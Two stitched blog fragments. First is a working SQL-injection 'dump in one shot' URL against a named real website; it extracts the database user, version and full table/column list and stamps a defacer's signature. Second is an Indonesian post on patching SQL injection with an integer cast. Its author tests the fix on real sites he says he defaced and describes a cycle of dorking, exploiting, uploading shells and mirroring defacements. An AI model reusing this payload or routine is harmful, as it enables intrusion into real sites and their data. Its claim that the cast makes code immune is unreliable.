https://www.onlineestatesales.net/getcategory.php?catid=DOLLS/TOYS'AND+0+UNION+SELECT+1,concat('<img src=%22https://i.ibb.co/3Tp4CzG/mrgonzx.png%22 height=%22150%22 width=%22150%22>','<br>','<font color=%22red%22><b>','Injected by Mr.GonzX','</b>','</font>','<br>','<font color=blue>','<b>','USER','</b>','</font>','::','<font color=green>',user(),'</font>','<br>','<font color=blue>','<b>','VERSION','</b>','</font>','::','<font color=green>',version(),'</font>','<br>','<font color=blue>','<b>','DATABASE','</b>','</font>','::','<font color=green>',database(),'</font>','<br>','<br>',(select(@x)from(select(@x:=0x00),(select(0)From(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=coNcat(@x,'<li>',table_name,' :::: ',column_name))))x)),3,4,5,6,7--+-

As you can see in my DIOS no 0x


And I successfully bypass the ( unused )  error

Thank your for reading our blog


Greetings :

N16H7 CR4WL3R
TROY
Cyb3rFr0st
Illumni
Mr.Krungx


-
Hai Sobat.
Saya ikal
Disini, saya akan share cara menutup bug SQL Injection.
-

Okeh sesuai judul, jadi kali ini saya sudah punya 2 live target bekas deface saya yang memiliki kerentanan berupa SQL Injection.
Disini saya tidak menjelaskan cara mengeksekusi, namun menjelaskan cara menutup bug nya yah.

Bila ada yang ingin mempelajari cara melakukan SQL Injection, bisa kembali ke artikel sebelumnya SQL Injection

Pertama saya akan jelaskan cara saya menutup bug SQL Injection nya. 
SQL Injection terjadi akibat request $_GET['id'] atau $id yang tidak difilter, hal tersebut bisa membuka celah untuk para attacker.

Jadi, disini saya hanya memberi (int) sebelum bagian $_GET['id'], dan biasanya codingan file yang memiliki celah SQL Injection seperti ini

<?php
          $id = $_GET['id'];
  $sql = "SELECT * FROM enuo_content WHERE id='$id'";
  $res = $db->query($sql);
  $row = $db->getarray($res);
   ?>

Nah seperti itu salah satunya, "bang kalo misalkan di filenya ga ada $id = $_GET['id']; gimana bang?" tinggal ubah aja sedikit. Mungkin maksud kalian yang seperti ini

 <?php
  $sql = "SELECT * FROM enuo_content WHERE id=".$_GET['id']."";
  $res = $db->query($sql);
  $row = $db->getarray($res);
   ?>

Kaya gitu kan maksud kalian. Jadi kalo kaya begitu, tinggal tambahin $id = $_GET['id']; sebelum $sql. Dan di saat WHERE id=".$_GET['id']." ubah menjadi WHERE id='$id'"; 

Nah, kita masuk ke proses patch nya. File di atas kita tinggal ubah menjadi seperti ini 

<?php
          $id = (int)$_GET['id'];
  $sql = "SELECT * FROM enuo_content WHERE id='$id'";
  $res = $db->query($sql);
  $row = $db->getarray($res);
   ?>

Nah tinggal seperti itu, dan file pun sudah kebal terhadap SQL Injection. Tidak ada respon saat memasukan single quote atau yang lainnya. Namun saat di beri - sebelum angka paramater masih akan blank. Jadi kita akan menggunakan  fungsi if seperti ini

<?php
          $id = (int)$_GET['id'];
          if($id < 0){
        echo 'Patched!';
        exit;
}
  $sql = "SELECT * FROM enuo_content WHERE id='$id'";
  $res = $db->query($sql);
  $row = $db->getarray($res);
   ?>

Nah, jadi jika paramater dibawah 0 atau minus maka akan muncul Patched!. Atau kalian bisa mengubah kata Patched! Menjadi sesuka hati kalian. Misalnya disini kita ingin menginject seperti ini :

 http://www.liangjianyishu.com/cdetail.php?id=607

Dan misal saya ingin memastikan vuln atau tidak nya website tersebut terhadap bug SQL Injection.

http://www.liangjianyishu.com/cdetail.php?id=607'



Nah, berkat fungsi (int) jadi tidak ada respon dan tidak muncul error. Sekarang coba kita buat minus parameter nya.

http://www.liangjianyishu.com/cdetail.php?id=-607



Nah muncul kata Patched! xixi. Bug sudah tertutup hanya bermodalkan (int) dan if saja. Nah jadi tidak perlu repot². Cukup seperti itu saja.

Jujur aja awalnya saya tidak bisa untuk melakukan ini :'3. Saya cuma bisa mengeksekusi nya saja, yah kira-kira rantai perputarannya seperti ini
Dorking ~> eksekusi ~> berhasil upshell ~> mirror ~> tinggalin ~> repeat.

Sesudah mirror saya tinggalkan begitu saja, namun kemarin ada seorang bule yang request nih artikel. Sekitar 3 video saya putar untuk memahami cara patch bug ini. Dan alhamdulilah g sampe 2 jam bisa :'v

Hasil :
http://www.liangjianyishu.com/cdetail.php?id=607
http://www.mpclicks.co.uk/pdetail.php?id=3

Okeh mungkin segini aja dulu
Thanks
See u